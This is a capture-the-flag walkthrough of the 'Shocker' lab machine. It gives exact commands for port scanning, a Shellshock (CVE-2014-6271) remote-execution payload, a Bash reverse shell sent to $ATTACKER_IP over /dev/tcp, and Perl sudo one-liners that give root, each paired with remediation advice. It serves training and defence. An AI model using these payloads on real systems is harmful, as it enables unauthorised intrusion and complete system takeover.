J. Perez Duertojperezduerto.info
← all walkthroughs

Shocker

Linux· Easy
owned
2026-06-29
time to own
3m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered an unpatched Apache CGI script and exploited the decade-old Shellshock vulnerability (CVE-2014-6271) to execute arbitrary operating-system commands as the local user 'shelly'. From that foothold I found that shelly could run Perl as root without entering a password — a single GTFOBins one-liner then gave full root access and the ability to read every file on the system.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissancePort scanning / web directory brute-force
Mapped open ports and discovered the CGI directory
A port scan revealed the web server on port 80 and an SSH service on port 2222. Directory brute-forcing of the web root uncovered the /cgi-bin/ path, and a follow-up scan of that directory exposed the script /cgi-bin/user.sh — the CGI endpoint that became the entry point.
Exact commands 3
shell

Full TCP port scan with service and version detection.

$ nmap -sV -sC -p- --min-rate 5000 $TARGET -oN nmap_full.txt
shell

Brute-force directories and CGI extensions to find /cgi-bin/user.sh.

$ gobuster dir -u http://$TARGET -w /usr/share/seclists/Discovery/Web-Content/common.txt -x sh,pl,cgi --status-codes-blacklist 404
shell

Second pass targeting the cgi-bin path specifically to enumerate available scripts.

$ gobuster dir -u http://$TARGET/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x sh,cgi,pl
2Vulnerability identificationShellshock — CVE-2014-6271
Confirmed Shellshock (CVE-2014-6271) executes commands as shelly
Apache's mod_cgi passed HTTP request headers — including User-Agent — directly to the Bash interpreter that ran the CGI script. The server ran an unpatched Bash version vulnerable to CVE-2014-6271: a malformed function definition at the start of the header caused Bash to silently execute any commands appended after it, with no authentication required.
Curl -sS -m 8 -A '() { :;}; echo; /usr/bin/id' http://$TARGET/cgi-bin/user.sh → uid=1000(shelly) gid=1000(shelly)
Exact commands 1
shell

Proof-of-concept: the 'id' command runs on the server and its output is returned in the HTTP response body, confirming unauthenticated RCE.

$ curl -sS -m 8 -A '() { :;}; echo; /usr/bin/id' http://$TARGET/cgi-bin/user.sh
FixPatch Bash against Shellshock and restrict or disable CGI executionCritical
WeaknessThe server ran an unpatched Bash vulnerable to CVE-2014-6271 (Shellshock) and exposed a CGI script that forwarded HTTP headers directly to that shell. Any anonymous internet visitor could run arbitrary operating-system commands as the web-server user with a single HTTP request.
Fix1. Update Bash to a version patched against CVE-2014-6271 (Bash ≥ 4.3 patch 25 on the 4.3 branch, or any current distribution package). Run 'bash --version' and cross-reference against your distribution's security advisories to confirm the patch is applied. 2. If CGI scripts are not required for business operations, disable Apache mod_cgi entirely ('a2dismod cgi && systemctl reload apache2'). 3. If CGI is required, audit every script to confirm it does not pass untrusted input (headers, query strings, environment variables) to a shell interpreter, and run the CGI process under a dedicated, locked-down service account with no interactive login shell.
3Initial accessShellshock RCE — reverse shell payload
Delivered a reverse shell and gained an interactive session as shelly
With unauthenticated code execution confirmed, I prepared a netcat listener on my own machine and delivered a Bash reverse-shell payload through the same Shellshock vector in the User-Agent header. The target connected back, giving an interactive shell running as uid=1000 (shelly).
My listener on $ATTACKER_IP:4444 confirmed up; Shellshock payload delivers bash -i reverse shell as shelly.
Exact commands 2
shell

Start the listener on my machine (LHOST $ATTACKER_IP) before firing the payload.

$ nc -lvnp 4444
shell

Shellshock payload that redirects a Bash interactive shell to me over TCP.

$ curl -sS -m 8 -A "() { :;}; echo; /bin/bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" http://$TARGET/cgi-bin/user.sh
4DiscoveryLocal file discovery
Located and read the user flag from shelly's home directory
With an interactive shell as shelly, I searched the entire filesystem for the flag file and read it, confirming full access to the account's data. The flag was found in shelly's home directory under /home/shelly/user.txt.
Find / -name user.txt -type f 2>/dev/null executed from the reverse shell returned the flag path and contents.
Exact commands 1
shell

Recursively locate user.txt and print it; actual -> <user.txt>

$ find / -name user.txt -type f 2>/dev/null -print -exec cat {} \;
5Privilege escalation — discoverySudo privilege enumeration
Enumerated sudo rights and found passwordless Perl execution as root
Checking which sudo commands shelly was permitted to run revealed a critical misconfiguration: shelly could execute /usr/bin/perl as root without supplying any password (NOPASSWD in /etc/sudoers). Perl is a fully capable scripting language that can spawn a shell or run any system command, making this entry functionally equivalent to a passwordless root login.
Exact commands 1
shell

List effective sudo rules for the current user. The NOPASSWD: /usr/bin/perl line is the escalation path.

$ sudo -l
(root) NOPASSWD: /usr/bin/perl
FixRemove NOPASSWD sudo rights for general-purpose scripting interpretersCritical
WeaknessThe sudoers policy granted the unprivileged account 'shelly' the right to execute /usr/bin/perl as root with no password required. Any general-purpose interpreter (Perl, Python, Ruby, awk, lua, etc.) that can invoke system calls makes a NOPASSWD sudo entry equivalent to giving that account a root shell with no authentication.
Fix1. Open /etc/sudoers safely with 'visudo' and remove the line granting shelly (or any non-administrative user) NOPASSWD rights to Perl or any other interpreter. 2. Audit all sudoers entries: run 'sudo -l' as each non-root user and remove any NOPASSWD grants on languages or utilities listed on GTFOBins (https://gtfobins.github.io). 3. Apply least-privilege: if a scheduled task genuinely needs elevated Perl access, replace it with a narrow, purpose-built wrapper script that accepts no arbitrary arguments and is owned by root with mode 0755.
6Privilege escalation — exploitationSudo GTFOBins — Perl
Ran Perl as root via sudo to achieve full system control
A single Perl one-liner invoked through sudo ran as uid=0 (root), bypassing every access control on the system. I read the root flag from /root/root.txt and could at this point modify any file, add new accounts, install backdoors, or pivot to other systems from this host.
Sudo -n /usr/bin/perl -e 'print qx(id); print qx(cat /root/root.txt 2>/dev/null);' → uid=0(root) gid=0(root) groups=0(root)
Exact commands 2
shell

Runs Perl as root with no password prompt. Outputs uid=0 confirmation and root.txt value (<root.txt>).

$ sudo -n /usr/bin/perl -e 'print qx(id); print qx(cat /root/root.txt 2>/dev/null);'
shell

Alternative: spawns a full interactive root shell for persistent access during the engagement.

$ sudo /usr/bin/perl -e 'exec "/bin/bash";'

Attack patterns used

The transferable techniques behind this compromise.

Shellshock (Bash CGI RCE)Web · Service RCET1190CVE-2014-6271

What it is

Shellshock abuses a flaw in GNU Bash's parsing of environment variables: a variable whose value begins with a function definition (() { :;};) is followed by trailing commands that Bash executes immediately on startup. When a web server runs a CGI script via Bash, externally controlled HTTP headers (commonly User-Agent or Cookie) are exported into the environment, so the trailing payload runs as the web user.

Why it works

CGI scripts pass request metadata into the shell environment by design, and pre-patch Bash executed the trailing code unconditionally. Any internet-facing cgi-bin endpoint backed by Bash was exploitable without authentication. Remediation is patching Bash and retiring Bash-CGI; detection is trivial via the () { :;} signature in request logs.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Techniques used

New to these ideas? Learn the concepts in Hack & Learn.